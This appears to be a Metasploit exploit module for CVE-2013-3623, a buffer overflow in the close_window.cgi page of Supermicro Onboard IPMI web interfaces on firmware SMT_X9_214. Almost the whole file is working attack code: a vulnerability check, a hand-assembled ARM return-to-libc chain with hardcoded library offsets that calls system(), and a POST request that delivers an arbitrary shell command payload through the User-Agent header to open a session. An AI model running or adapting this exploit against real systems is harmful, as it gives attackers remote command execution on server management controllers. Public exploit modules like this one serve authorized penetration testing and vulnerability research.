Supermicro Onboard IPMI close_window.cgi Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Supermicro Onboard IPMI close_window.cgi Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow on the Supermicro Onboard IPMI controller web
          interface. The vulnerability exists on the close_window.cgi CGI application, and is due
          to the insecure usage of strcpy. In order to get a session, the module will execute
          system() from libc with an arbitrary CMD payload sent on the User-Agent header. This
          module has been tested successfully on Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware
          SMT_X9_214.
        },
        'Author' => [
          'hdm', # Vulnerability Discovery and Metasploit module
          'juan vazquez' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'Payload' => {
          'Space' => 8000, # Payload sent on the user agent, long enough to fit any payload
          'DisableNops' => true,
          'BadChars' => (0x00..0x1f).to_a.pack("C*"), # not a big deal, we're working with ARCH_CMD payloads
          'Compat' =>
              {
                'PayloadType' => 'cmd',
                'RequiredCmd' => 'generic openssl'
              }
        },
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'References' => [
          [ 'CVE', '2013-3623' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ]
        ],
        'Targets' => [
          [
            'Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware SMT_X9_214',
            {
              :callback => :target_smt_x9_214
            }
          ]
        ],
        'DisclosureDate' => '2013-11-06',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def send_close_window_request(sess, agent = rand_text_alpha(8))
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => "/cgi/close_window.cgi",
      'agent' => rand_text_alpha(16) + agent,
      'encode_params' => false,
      'vars_post' => {
        'sess_sid' => sess
      }
    })

    return res
  end

  def check
    safe_check = rand_text_alpha(20)
    trigger_check = rand_text_alpha(132)

    res = send_close_window_request(safe_check)

    unless res and res.code == 200 and res.body.to_s =~ /Can't find action/
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    res = send_close_window_request(trigger_check)

    unless res and res.code == 500
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    return Exploit::CheckCode::Appears('The target appears to be vulnerable')
  end

  def target_smt_x9_214
    base_crypt = 0x40074000 # libcrypto.so.0.9.8
    base_libc = 0x40554000 # libc-2.3.5.so

    buf = rand_text_alpha(68)
    buf << rand_text_alpha(4)                  # r10
    buf << rand_text_alpha(4)                  # r11
    buf << rand_text_alpha(4)                  # sp
    buf << [base_crypt + 0x39598].pack("V")    # pc # mov pc, r4
    # 2nd stage
    buf << "\x68\xd0\x84\xe2"                  # add   sp, r4, 104                  # make sp point to controlled data in order to accomplish the "ret2system"
    offset = ssl ? 208 : 204                   # when ssl there is an additional environment variable "HTTPS=on"
    buf << [offset].pack("C") + "\x50\x84\xe2" # add   r5, r4, 204                  # make r5 point to pointer to envp
    buf << "\x70\x40\xb5\xe8"                  # ldmfd r5!, {r4, r5, r6, ls}        # store on r4 pointer to envp USER_AGENT pointer
    buf << "\x20\x40\x84\xe2"                  # add   r4, r4, 32                   # to skip the "HTTP_USER_AGENT=" substring and avoid bachars on emulated environment
    buf << "\x40\x80\xbd\xe8"                  # ldmfd sp!, {r6, pc}
    buf << rand_text_alpha(4)                  # R6
    buf << [ base_crypt + 0x3A8BC ].pack("V")  # mov   r0, r4; ldmfd   sp!, {r4,pc} # store in r0 pointer to command
    buf << rand_text_alpha(4)                  # r4
    buf << [ base_libc + 0x3617c ].pack("V")   # system at libc
    buf << rand_text_alpha(128 - buf.length) # padding to reach memory which allows to control r4 when overflow occurs
    # 1st stage: adjust r4 and pc
    buf << "\x80\x40\x44\xe2"                  # sub r4, r4,-128                   # make r4 point to the start of the buffer
    buf << "\x54\xf0\x84\xe2"                  # add pc, r4, 84                    # give control to 2nd stage

    return buf
  end

  def exploit
    buffer = self.send(target[:callback])
    print_status("Sending exploit...")
    send_close_window_request(buffer, payload.encoded)
  end
end